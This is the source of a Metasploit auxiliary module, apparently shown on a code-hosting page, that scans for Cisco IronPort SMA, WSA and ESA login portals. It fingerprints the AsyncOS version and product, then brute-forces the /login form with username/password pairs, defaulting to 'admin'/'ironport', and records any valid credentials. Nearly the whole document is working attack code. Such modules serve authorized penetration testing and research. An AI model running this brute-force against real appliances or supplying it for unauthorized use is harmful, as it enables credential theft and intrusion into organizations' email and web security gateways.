Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7

8
class MetasploitModule < Msf::Auxiliary
9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Auxiliary::Report
11
  include Msf::Auxiliary::AuthBrute
12
  include Msf::Auxiliary::Scanner
13

14
  def initialize(info={})
15
    super(update_info(info,
16
      'Name'           => 'Cisco Ironport Bruteforce Login Utility',
17
      'Description'    => %{
18
        This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
19
        versions, and performs login brute force to identify valid credentials.
20
      },
21
      'Author'         =>
22
        [
23
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
24
        ],
25
      'License'        => MSF_LICENSE,
26
      'DefaultOptions' => { 'SSL' => true }
27
    ))
28

29
    register_options(
30
      [
31
        Opt::RPORT(443),
32
        OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
33
        OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
34
      ])
35
  end
36

37
  def run_host(ip)
38
    unless check_conn?
39
      print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
40
      return
41
    end
42

43
    unless is_app_ironport?
44
      print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
45
      return
46
    end
47

48
    print_status("#{rhost}:#{rport} - Starting login brute force...")
49
    each_user_pass do |user, pass|
50
      do_login(user, pass)
51
    end
52
  end
53

54
  def check_conn?
55
    begin
56
      res = send_request_cgi(
57
      {
58
        'uri'       => '/',
59
        'method'    => 'GET'
60
      })
61
      if res
62
        print_good("#{rhost}:#{rport} - Server is responsive...")
63
        return true
64
      end
65
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
66
    end
67
    false
68
  end
69

70
  #
71
  # What's the point of running this module if the app actually isn't Cisco IronPort
72
  #
73

74
  def is_app_ironport?
75
      res = send_request_cgi(
76
      {
77
        'uri'       => '/',
78
        'method'    => 'GET'
79
      })
80

81
      if res && res.get_cookies
82

83
        cookie = res.get_cookies
84

85
        res = send_request_cgi(
86
        {
87
          'uri'       => "/help/wwhelp/wwhimpl/common/html/default.htm",
88
          'method'    => 'GET',
89
          'cookie'	   => cookie
90
        })
91

92
        if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
93
          version_key = /Cisco IronPort AsyncOS (.+? )/
94
          version = res.body.scan(version_key).flatten[0].gsub('"','')
95
          product_key = /for (.*)</
96
          product = res.body.scan(product_key).flatten[0]
97

98
          if (product == 'Security Management Appliances')
99
            p_name = 'Cisco IronPort Security Management Appliance (SMA)'
100
            print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
101
          elsif ( product == 'Cisco IronPort Web Security Appliances' )
102
            p_name = 'Cisco IronPort Web Security Appliance (WSA)'
103
            print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
104
          elsif ( product == 'Cisco IronPort Appliances' )
105
            p_name = 'Cisco IronPort Email Security Appliance (ESA)'
106
            print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
107
          end
108

109
          return true
110
        else
111
          return false
112
        end
113
      else
114
        return false
115
      end
116
  end
117

118
  def service_details
119
    super.merge({service_name: 'Cisco IronPort Appliance'})
120
  end
121

122
  #
123
  # Brute-force the login page
124
  #
125

126
  def do_login(user, pass)
127
    vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
128
    begin
129
      res = send_request_cgi(
130
      {
131
        'uri'       => '/login',
132
        'method'    => 'POST',
133
        'vars_post' =>
134
          {
135
            'action' => 'Login',
136
            'referrer' => '',
137
            'screen' => 'login',
138
            'username' => user,
139
            'password' => pass
140
          }
141
      })
142

143
      if res and res.get_cookies.include?('authenticated=')
144
        print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
145

146
        store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)
147
        return :next_user
148

149
      else
150
        vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
151
      end
152

153
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
154
      print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
155
      return :abort
156
    end
157
  end
158
end
159

160